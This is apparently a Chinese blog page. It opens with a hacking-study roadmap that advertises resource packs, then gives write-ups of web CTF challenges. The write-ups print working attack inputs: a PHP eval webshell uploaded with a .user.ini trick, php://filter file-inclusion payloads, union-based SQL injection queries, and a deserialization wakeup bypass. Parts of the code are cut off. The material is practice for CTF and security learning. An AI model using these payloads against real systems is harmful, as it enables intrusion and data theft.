2024年CTF题目合集_网络安全ctf大赛题库(1),网络安全开发需要什么基础

如何自学黑客&网络安全

黑客零基础入门学习路线&规划

初级黑客
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)

2、渗透测试基础(一周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础(一周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)

4、计算机网络基础(一周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)
恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k

到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?

如果你想要入坑黑客&网络安全,笔者给大家准备了一份:282G全网最全的网络安全资料包评论区留言即可领取!

7、脚本编程(初级/中级/高级)
在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力.

如果你零基础入门,笔者建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习;搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP, IDE强烈推荐Sublime;·Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,不要看完;·用Python编写漏洞的exp,然后写一个简单的网络爬虫;·PHP基本语法学习并书写一个简单的博客系统;熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选);·了解Bootstrap的布局或者CSS。

8、超级黑客
这部分内容对零基础的同学来说还比较遥远,就不展开细说了,附上学习路线。
img

网络安全工程师企业级学习路线

img
如图片过大被平台压缩导致看不清的话,评论区点赞和评论区留言获取吧。我都会回复的

视频配套资料&国内外网安书籍、文档&工具

当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。

img
一些笔者自己买的、其他平台白嫖不到的视频教程。
img

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化资料的朋友,可以点击这里获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

    echo $b;
    break;
}
$b++;

}


1. $c=(array)json\_decode(@$\_GET['c']);
2. 解释这个代码 :


* @$\_GET['c']:这段代码首先尝试从GET请求中获取名为"c"的参数的值。
* json\_decode():然后使用json\_decode()函数将获取到的JSON字符串解码为PHP对象。
* (array):最后,使用类型转换操作符(array)将解码后的PHP对象转换为数组。


举个例子,如果你通过URL发送了如下GET请求:



Copy Codehttp://example.com/script.php?c={“name”:“John”,“age”:30}


那么上面的PHP代码将把URL中的"c"参数值解析为JSON对象,并转换为PHP数组,类似于下面的结果:



Copy Code$c = array(
“name” => “John”,
“age” => 30
);


1. if(is\_array($c) && !is\_numeric(@$c["m"]) && $c["m"] > 2022)
2. 如果c是数组 并且 !is\_numeric(@$c["m"]) : 使用is\_numeric函数检查数组$c中名为m的元素的值是否为数字 $c["m"] > 2022 : 并且这个m元素的值 需要大于2022
3. 这里就又矛盾了 如果既要求m元素的值不是数字 还需要大于 2022 这里php有一个语言特性 2023m>2022 在进行比较时 php会取一个比较数中前面的数字来进行与后面的数字的比较 ![](https://img-blog.csdnimg.cn/img_convert/8cd22d48982a8ff3a50ded76f6beefc2.png)
4. if(is\_array(@$c["n"]) && count($c["n"]) == 2 && is\_array($c["n"][0])){  
 $d = array\_search("DGGJ", $c["n"]);  
 $d === false?die("no..."):NULL;  
 foreach($c["n"] as $key=>$val){  
 $val==="DGGJ"?die("no......"):NULL;
5. 如果c中名为n元素的值是数组 并且这个数组中有两个元素 并且第1个元素的值也是数组
6. 注意这个arraysearch是个弱类型的比较 是== 而不是 === 也就是说遍历c中n元素的值如果找到值==DGGJ 就继续下面的那个循环 如果找不到就返回FALSE 也就直接终止程序了
7. 接下来进入下面那个循环时 又遍历c中n元素的值 找DGGJ如果找到就终止程序
8. 这个时候就又有矛盾了 又需要值得等于DGGJ 又不能让她出现
9. 这个时候就需要array\_search 这个弱类型的比较了
10. 因为他是== 而不是=== 这个时候 如果“cgy”==0 这个等式是 成立的 ![](https://img-blog.csdnimg.cn/img_convert/a3fa27506aa758de7fd0e3e41fd58277.png)
11. **所以就可以这么进行绕过**
12. **所以最后的abc的参数为**
13. **?a=1e9&b=53724&c={"m":"2023x","n":[[],0]}**
14. ![](https://img-blog.csdnimg.cn/img_convert/9ce731b6d5bf5b0332b332eeb7a71d69.png)
15. **获得;flag**


## 4.fileclude(仍是文件包含伪协议绕过)



WRONG WAY!

<?php include("flag.php"); highlight_file(__FILE__); if(isset($_GET["file1"]) && isset($_GET["file2"])) { $file1 = $_GET["file1"]; $file2 = $_GET["file2"]; if(!empty($file1) && !empty($file2)) { if(file_get_contents($file2) === "hello ctf") { include($file1); } } else die("NONONO"); } ``` **分析代码:** * **首先,它检查是否有名为"file1"和"file2"的GET参数传入。** * **然后,将这两个参数的值分别赋给变量****file1和****f****i****l****e****1****和****file2。** * **接着,它检查****file1和****f****i****l****e****1****和****file2是否都不为空。** * **如果满足上述条件,并且****file2的内容等于"hello ctf",那么它会包含****f****i****l****e****2****的内容等于****"****h****e****ll****oc****t****f****"****,那么它会包含****file1指定的文件。** * **否则,会输出"NONONO"并终止程序。** 1. **现在需要上传file1与file2的值但是还必须将file2的值为hello ctf** 2. **仍在考php的伪协议** 3. **对于这个===hello ctf** 4. **需要用** ![](https://img-blog.csdnimg.cn/img_convert/3f909f904b7af3dca7e8cab627a3e93a.png) 5. **对于file1则是??filename=php://filter/read=convert.base64-encode/resource=flag.php这段伪协议** 6. **又因为使用input这个命令执行的伪协议只能读取post中的data部分 需要抓包才能将data的内容改为hello ctf** 7. **最后的url为** 8. **?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=php://input** 9. ![](https://img-blog.csdnimg.cn/img_convert/1770209f0856adf0438f3132b0cd0539.png) 10. **必须要在左边写hello ctf 才能使input函数读入这段字符串** 11. **因为是用base64编码的所以需要解码一下** 12. **flag为cyberpeace{4ac5762a8c1149754fecc0727f8245f4}** ## 5.fileinclude **考点:考了cookie的利用 以及文件包含php伪协议的利用** ![](https://img-blog.csdnimg.cn/img_convert/223f980653cbea3fb35c2fe72fec75e8.png) 1. **打开后发现页面没有源码什么的** 2. **用F12查看页面源代码试试** 3. ![](https://img-blog.csdnimg.cn/img_convert/ebc89de540f52cca54f183eed49fd716.png) 4. **源码如下** ``` <?php if( !ini_get('display_errors') ) { ini_set('display_errors', 'On'); } error_reporting(E_ALL); $lan = $_COOKIE['language']; if(!$lan) { @setcookie("language","english"); @include("english.php"); } else { @include($lan.".php"); } $x=file_get_contents('index.php'); echo $x; ?>

1. **查看源码后发现里面include有可控的变量 cookie 中的language**
2. **所以用BP抓包修改cookie中language的值 并用php伪协议来获取flag.php**
3. ![](https://img-blog.csdnimg.cn/img_convert/1c6792f9b595b3578401b83165e2ed84.png)
4. **发现并没有cookie的值 所以需要我们自己写**
5. ![](https://img-blog.csdnimg.cn/img_convert/4ff2e5e043c810bfc5952c5f0eafad89.png)
6. **注意这个cookie的赋值必须在connection下面 并且这里将english赋给language后原来的报错没有了**
7. **证明填的位置正确了**
8. ![](https://img-blog.csdnimg.cn/img_convert/654bf41b6afcc67d53156f2406bab8fc.png)
9. **所以只需要resource后面写flag即可 因为源码中拼接了.php**
10. **最后解码一下即可**
11. **cyberpeace{b6408b005f630c84392534b561a3b11e} 得到flag**


## 


##  6.easyupload



![](https://img-blog.csdnimg.cn/img_convert/01c772696a664f9fa2166f982cd5628b.png)



![](https://img-blog.csdnimg.cn/img_convert/ca83d2f45a7c0d8a09a0241faa73239d.png)



![](https://img-blog.csdnimg.cn/img_convert/9f667e73ded9b408bf9040dee537edd5.png)


**考点:考文件上传漏洞**


1. **先上传.user.ini(必须是.user.ini文件 不能少点 要不然后面蚁剑连接不成功)文件使其包含一个图片 然后再上传一个图片,最后用蚁剑来连接**



GIF89a
auto_prepend_file=a.jpg


1. **题头GIF89a是为了防止后端检测这个文件的开头是不是JPG或者其他图片格式 可以绕过后端的检测**
2. **上传这个文件时用bp上传改一些内容也是防止后端检测**
3. ![](https://img-blog.csdnimg.cn/img_convert/313b85d755a764dfbadf79497b45d121.png)
4. **然后再上传一个jpg文件里面有一句话木马**



GIF89a

<?=eval($_REQUEST['cmd']);?>

1. ![](https://img-blog.csdnimg.cn/img_convert/d44c4b928a8ac5e45959fefe8ab7edd3.png)
2. **然后将格式改为jpg的格式 继续再bp repeater模块中检测**
3. ![](https://img-blog.csdnimg.cn/img_convert/98647d06b46aeeede92ca691f782e549.png)
4. **这里发现仍然上传不上去**
5. **可能是检测了内容 把php删掉改成=试试**
6. ![](https://img-blog.csdnimg.cn/img_convert/61f87e5e7735768dfdc2809d46f75218.png)
7. **上传成功**
8. ![](https://img-blog.csdnimg.cn/img_convert/7b214fe7bf37313957636bdd92dd635c.png)
9. **上传成功后,现在需要找到路径才能填蚁剑的那个地址**
10. ![](https://img-blog.csdnimg.cn/img_convert/4dc0f68e9331d4ea69326dd9e07e6e64.png)
11. **这个就是其地址**
12. **用蚁剑连接**
13. ![](https://img-blog.csdnimg.cn/img_convert/a6f9fc8ab71522a7bf6775a94c94bad3.png)


## 7.inget&robots



![](https://img-blog.csdnimg.cn/img_convert/25a4717f221c09cfb73f337a505a5065.png)


**由此可见是考SQL注入的**


1. **用万能钥匙来获得flag即可**
2. **?id=1'or 1=1 --+ 有时候需要双引号 有时候单引号 有时候不需要引号 即可获得flag**
3. ![](https://img-blog.csdnimg.cn/img_convert/63014bb2efcd3e01738d7ce1035ee71f.png)



![](https://img-blog.csdnimg.cn/img_convert/effbd7d680122aaca5b9cdc7e9147854.png)


1. **这道题考robots协议**
2. **robots是搜索引擎爬虫协议,也就是你网站和爬虫的协议。**


**简单的理解:****robots是告诉搜索引擎,你可以爬取收录我的什么页面,你不可以爬取和收录我的那些页面。robots很好的控制网站那些页面可以被爬取,那些页面不可以被爬取。**


**主流的搜索引擎都会遵守robots协议****。并且robots协议是爬虫爬取网站第一个需要爬取的文件。爬虫爬取robots文件后,会读取上面的协议,并准守协议爬取网站,收录网站。**


**robots文件是一个纯文本文件,也就是常见的.txt文件。在这个文件中网站管理者可以声明该网站中不想被robots访问的部分,或者指定搜索引擎只收录指定的内容。因此,robots的优化会直接影响到搜索引擎对网站的收录情况。**


1. ![](https://img-blog.csdnimg.cn/img_convert/95f2c129da175da6249148b29d054f4a.png)
2. **可以发现这里有flag的文件 所以我们直接在当前目录访问即可**
3. ![](https://img-blog.csdnimg.cn/img_convert/3625c5dac76920a4a88d8d2d43cdbb28.png)


## 


## 8. get\_post&disabled\_button&cookie



![](https://img-blog.csdnimg.cn/img_convert/6094af0bf2e050889274c545027644ae.png)



![](https://img-blog.csdnimg.cn/img_convert/ee17b844b148bdc96e39f6cb5d972a94.png)


1. **用BP抓包上传post方式b的值**
2. ![](https://img-blog.csdnimg.cn/img_convert/42b5168e646f618c0f135f1f14c13bf3.png)





![](https://img-blog.csdnimg.cn/img_convert/91e7dbe9d565e6e6acb4dea5ce7662cd.png)


1. **遇到页面没有什么可利用的消息可以按F12来获取信息**
2. ![](https://img-blog.csdnimg.cn/img_convert/239ec541eb92922f487be8b2deb06cc1.png)
3. **把disable删掉即可**
4. ![](https://img-blog.csdnimg.cn/img_convert/eee193e279df66047fa25ed9dbe4735e.png)
5. 然后按下按钮




![](https://img-blog.csdnimg.cn/img_convert/15b1a226a7226195c27b98be87ecd1f1.png)


1. **考察cookie的相关信息**
2. **按F12**
3. ![](https://img-blog.csdnimg.cn/img_convert/8381b5aaf48b7fac65f5a98c55f9cc9f.png)
4. **发现有cookie.php**
5. **然后访问cookie.php** ![](https://img-blog.csdnimg.cn/img_convert/8fd4afce134a8ee6a4edf3b96682066a.png)
6. **然后让我们看http response**
7. ![](https://img-blog.csdnimg.cn/img_convert/72871a32d8f2e2efef36fc337c4ea087.png)


## 


## 9.  备份文件&ics-06


1. ![](https://img-blog.csdnimg.cn/img_convert/e741203c1bb667827897b60e83070bbc.png)
2. **猜测是目录扫描,从而找到flag的文件**
3. ![](https://img-blog.csdnimg.cn/img_convert/a4b69af8eb2c866f40bb13da6c4358cf.png)
4. **扫描后发现这里是空的 点开后有一个文件自动下载**
5. ![](https://img-blog.csdnimg.cn/img_convert/f68b8002eeda74a76cb0d62b57116aa5.png)



#### 


![](https://img-blog.csdnimg.cn/img_convert/20955ebf98f522b9f8c84b228b20e710.png)


1. **打开后发现只有这个页面可以打开**
2. ![](https://img-blog.csdnimg.cn/img_convert/c900a9a6e3af122b93525afc3e13507a.png)
3. **猜测是SQL注入 于是用SQLmap检测有没有sql注入的点**
4. ![](https://img-blog.csdnimg.cn/img_convert/c375db931c0780071088a9feefd0c938.png)
5. **发现并没有**
6. **猜测id=1 这个整数1存在暴力破解**
7. ![](https://img-blog.csdnimg.cn/img_convert/9c5551608c2c5a4fa94058d4c3db9427.png)
8. ![](https://img-blog.csdnimg.cn/img_convert/bcfba38ea6d87d5c6a94febafa6cfcd3.png)
9. ![](https://img-blog.csdnimg.cn/img_convert/04c97a146021f5f91ef70072d4a5adb4.png)
10. **成功找到**


## 10. PHP2


**考点:URL解码:%+assic 16进制**



![](https://img-blog.csdnimg.cn/img_convert/8c0dcca29033965d13bf333942373cb9.png)


1. **页面上问的是:你能认证这个网站么**
2. **先F12查看有没有可利用的消息**
3. ![](https://img-blog.csdnimg.cn/img_convert/1c8c40028eceedd97b83f5191deb1717.png)
4. **发现并没有什么可利用的**
5. **尝试访问一下indedx.php**
6. ![](https://img-blog.csdnimg.cn/img_convert/e3034bd83d609a7e5183f2c24912bf2d.png)
7. **这道题考的是文件的后缀 phps:文件的源代码**
8. **例如 index.phps 查看的就是index.php的源代码**
9. ![](https://img-blog.csdnimg.cn/img_convert/818bccf86e97ad0747632d04025737fd.png)
10. **试着提交的id=admin (注意是在index.php上 而不是index.phps上)**
11. ![](https://img-blog.csdnimg.cn/img_convert/0b2a48d31518ccc7eb5de175a88058a7.png)
12. **发现是not allowed 但是源代码中id后经过了url解码 使得解码后的id 与admin相等**
13. **于是用url编码admin 但是 admin经过url编码后还是admin 没有变化**
14. **url解码是 %+ascii16进制 (注意这里百分号 也得是ascii表的16进制形式)**
15. ![](https://img-blog.csdnimg.cn/img_convert/30c650bacd777b622ccf3e807978e8bb.png)
16. **所以这里将a改为 %2561 25为%的ascii16进制 61为小写字母a的ascii16进制**
17. ![](https://img-blog.csdnimg.cn/img_convert/320f460e4be4884e55c55d5997b7a8b0.png)


## 


## 11.robots



![](https://img-blog.csdnimg.cn/img_convert/37945c3536f8e5e5675ad4d5a789b179.png)


1. **看了题目后猜测 是robots协议**
2. ![](https://img-blog.csdnimg.cn/img_convert/64ef9093bae3c7a4be5e5e79b99f46ca.png)
3. **然后继续查看flag的文件即可**
4. ![](https://img-blog.csdnimg.cn/img_convert/07c68bf7fa6eb918adb75012ea6bfc6e.png)


## 


## 12. unserialize3&view\_source


**核心思想:不让wakeup这个函数执行 只有反序列化异常的情况下(也就是属性值个数大于属性个数的时候即异常)**



![](https://img-blog.csdnimg.cn/img_convert/555e22a2d6cc81ba52f9573f65fab753.png)


**有一个PHP的类:xctf**


**有一个flag的对象**


**wakeup的方法 如果触发了这个方法 就离开了 也就得不到flag的值**


**?code:将类以参数的形式传给xctf**



**目标:1.反序列化xctf**


**步骤:1.先序列化flag对象的值**



<?php class xctf { public $flag = '111'; } $a = new xctf(); echo serialize($a); ?>


![](https://img-blog.csdnimg.cn/img_convert/20d79dc4ad061c8e0107143c6989af59.png)


O:4:"xctf":2:{s:4:"flag";s:3:"111";}


将1改成2即可绕过wakeup功能



![](https://img-blog.csdnimg.cn/img_convert/3fdff73db268788ca2bccd3a98b8baa0.png)


![](https://img-blog.csdnimg.cn/img_convert/bc0fb9cb0e3209ad3de763bbdadca1d2.png)


**提交url即可**


**注意:1.如果flag这个对象如果不是公有的对象是私有的话** 


**且如果编译出来的序列化内容 类与对象连在一起 需要在xctf与flag间加%00**


**也就是改为 %00xctf%00flag**


**注意这个%00不是空格而是url编码**



![](https://img-blog.csdnimg.cn/img_convert/fea560c1c158b93bbce661d9d3cfc766.png)




1. ![](https://img-blog.csdnimg.cn/img_convert/da357318448d85f7dd4572320eab994b.png)
2. 题目介绍鼠标右键不管用了
3. 按F12试试
4. ![](https://img-blog.csdnimg.cn/img_convert/2a6939fa849118800c094170b968621b.png)
5. 查看页面源代码发现存在flag
6. cyberpeace{911f212270286f4c4aa587e1216a9a49}


## 13.weak\_auth&simple\_php



![](https://img-blog.csdnimg.cn/img_convert/d086a51ab074f96d22a3f4cfdcb41eb7.png)



![](https://img-blog.csdnimg.cn/img_convert/7f6833ae56683a68dfe0320f7f1f0b9b.png)


1. **由这个的提示可以看出 用户名为admin**
2. **这时候需要猜密码**
3. **于是用BP的密码暴力破解**
4. ![](https://img-blog.csdnimg.cn/img_convert/6941fcc0ddfdfc806e9098a7e41c6c05.png)
5. **输错密码后发现是check.php**
6. **F12查看页面源代码看看**
7. ![](https://img-blog.csdnimg.cn/img_convert/4ca36cbe71d7bbb932bf0cd05ce4bbe0.png)
8. **发现给了个提示 说 你需要一个字典**
9. **所以用BP的暴力破解**
10. ![](https://img-home.csdnimg.cn/images/20230724024159.png?origin_url=https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2024%2Fpng%2F39227837%2F1706532768974-1d143044-7df5-46ba-bf6c-96454e988f6e.png&pos_id=0bpSVIjn)
11. **发现flag**





![](https://img-blog.csdnimg.cn/img_convert/28142b92e7fa0bd7f96e11560c05eb1c.png)


1. **首先需要上传一个a的值 a的值必须等于0 而且a还得存在**
2. **这里输入?a=0试试 发现并没有反应 可能a=0是不存在的**
3. **输入 a=‘0’字符串试试**
4. ![](https://img-home.csdnimg.cn/images/20230724024159.png?origin_url=https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2024%2Fpng%2F39227837%2F1706533093246-5e0b106d-a4eb-4dd2-9d2f-03c9d00aa44b.png&pos_id=8tx65jiq)
5. **发现有反应了**
6. **接下来看b**
7. **这个b如果是数字的话就会退出 所以b不能是数字 但是不是数字还得大于1234**
8. **这里就有php一种弱语言的特性 比如 1235c>1234**
9. **所以b=1235c的话 就满足条件了**
10. ![](https://img-blog.csdnimg.cn/img_convert/b2893791100966d702fa42d0ff0c6ce1.png)


## 



##  14. NewsCenter(SQL注入)



![](https://img-blog.csdnimg.cn/img_convert/af1dd7aa0e0cd491c8302fecc5d4832d.png)


1. **查看页面后发现只有search new那一栏可以输入,尝试输入一些东西看看有没有什么变化的东西**
2. ![](https://img-blog.csdnimg.cn/img_convert/de5655ab95de172a6bbfb730ab2a5391.png)
3. **输入1,2,3后分别有不同的内容回显**
4. **猜测是SQL注入**
5. **输入1' or 1=1 #后发现**
6. ![](https://img-blog.csdnimg.cn/img_convert/112ec88fad58668c1c84939bb89e2972.png)
7. **回显了news的全部内容**
8. **查询可利用的字段**
9. **发现到4的时候跳转到了另一个界面**
10. ![](https://img-blog.csdnimg.cn/img_convert/9189c39b281561e004f93bf67c22f23b.png)
11. **说明有三个可利用的字段**
12. **接下来用union联合查询查询哪几个字段有回显点**
13. ![](https://img-blog.csdnimg.cn/img_convert/7e802ac6353ab280144059cfd01cf9fe.png)
14. **发现2和3有回显点**
15. **接下来就是查询数据库 表名 字段的数据**
16. **查询数据库:** ![](https://img-blog.csdnimg.cn/img_convert/4c94f89ff85c7637ed2325b6a85a97fd.png)
17. **查询表名:1' union select 1,group\_concat(table\_name),3 from information\_schema.tables where table\_schema=database() #** ![](https://img-blog.csdnimg.cn/img_convert/736fbfd69a35d7b0966fddd86fd76d13.png)
18. **查询字段名:****1' union select 1,group\_concat(column\_name),3 from information\_schema.columns**


**where table\_name="secret\_table" # 注意secret\_table 必须加上双引号 否则回显不了如果加上双引号也失败 可以将表名改为 十六进制 前面加上0x 例如:0x7365637265745f7461626c65 这样的目的是为了表示后面的数是16进制在编程里面一般都要加入 来区别十进制数** 


**1' union select 1,group\_concat(column\_name),3 from information\_schema.columns where table\_name=0x7365637265745f7461626c65 # 注意 如果用16进制的话 就不需要加双引号了 同样有回显**



![](https://img-blog.csdnimg.cn/img_convert/22fb50b2ad4b008694c1eb9de470a5be.png)


1. **接下来查询fl4g这个字段的数据**
2. **1' union select 1,fl4g,3 from secret\_table #**
3. ![](https://img-blog.csdnimg.cn/img_convert/408119248a1220044d70a972ca96f750.png)
4. **得到flag**


## 15.upload1


1. ![](https://img-blog.csdnimg.cn/img_convert/d515f74a1ff0214bffaa45940221a60c.png)
2. **看出文件上传漏洞**
3. **先上传一个ctf.php试试**
4. ![](https://img-blog.csdnimg.cn/img_convert/7bc91418fbb5b26b587416779d75e0f4.png)
5. **发现还没点击上传就弹框了**
6. **这时候只需要禁用JS脚本即可**
7. ![](https://img-blog.csdnimg.cn/img_convert/d054b93a5eddcaecff140596caabdebf.png)
8. ![](https://img-blog.csdnimg.cn/img_convert/08ff9d538988356ddcc5ecb945d5c574.png)
9. **然后再次上传 发现上传成功**
10. **然后用蚁剑连接即可**
11. ![](https://img-blog.csdnimg.cn/img_convert/572572721c6a5315089f57b17e999ff5.png)
12. ![](https://img-blog.csdnimg.cn/img_convert/8a1525eeed94bbd2876f56ef9f083fd5.png)


## 


## 16.xff\_referer



![](https://img-blog.csdnimg.cn/img_convert/354efe5c1a0c88ee4cc4e52aa024bc9d.png)


1. **考http请求头 IP来源**
2. ![](https://img-blog.csdnimg.cn/img_convert/1d3758b505857dba96b09527bb5e1540.png)
3. 


X-Forwarded-For 尝试这个


1. **抓包写即可**
2. ![](https://img-blog.csdnimg.cn/img_convert/758cbf66da391a03543133882101fdf1.png)
3. **接下来需要考虑http 的来源**
4. ![](https://img-blog.csdnimg.cn/img_convert/8de646784f0b9d10008350cd143d46bb.png)
5. ![](https://img-blog.csdnimg.cn/img_convert/91ceb63fef74147030ebdd6864c5097c.png)


## 


## 17.command\_execution


1. **远程代码执行漏洞**
2. ![](https://img-blog.csdnimg.cn/img_convert/4da356dc88b8cc68949268e1cdc715f2.png)
3. **而且没有任何的WAF**
4. ![](https://img-blog.csdnimg.cn/img_convert/b3bfc62e2bd3ecf79dd9c1887daf7dfa.png)
5. ![](https://img-blog.csdnimg.cn/img_convert/a119aea78fcc0a8e6b2fdd2594d4454f.png)
6. find / -name "flag\*" :这行代码的意思是 从根目录是开始找 flag 以及flag后面仍有东西的文件
7. ![](https://img-blog.csdnimg.cn/img_convert/a91630d62e098a71c2741132a911570f.png)


## 


## 18.web2



<?php $miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws"; function encode($str){ //对字符串进行反转 如果是abc 那么就是 cba $_o=strrev($str); // echo $_o; for($_0=0;$_0

1. **考点就是写一个解密算法 把源码倒过来写即可**



<?php function decode($str) { $a=base64_decode((strrev(str_rot13($str)))); for($_0=0;$_0
  • 24
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值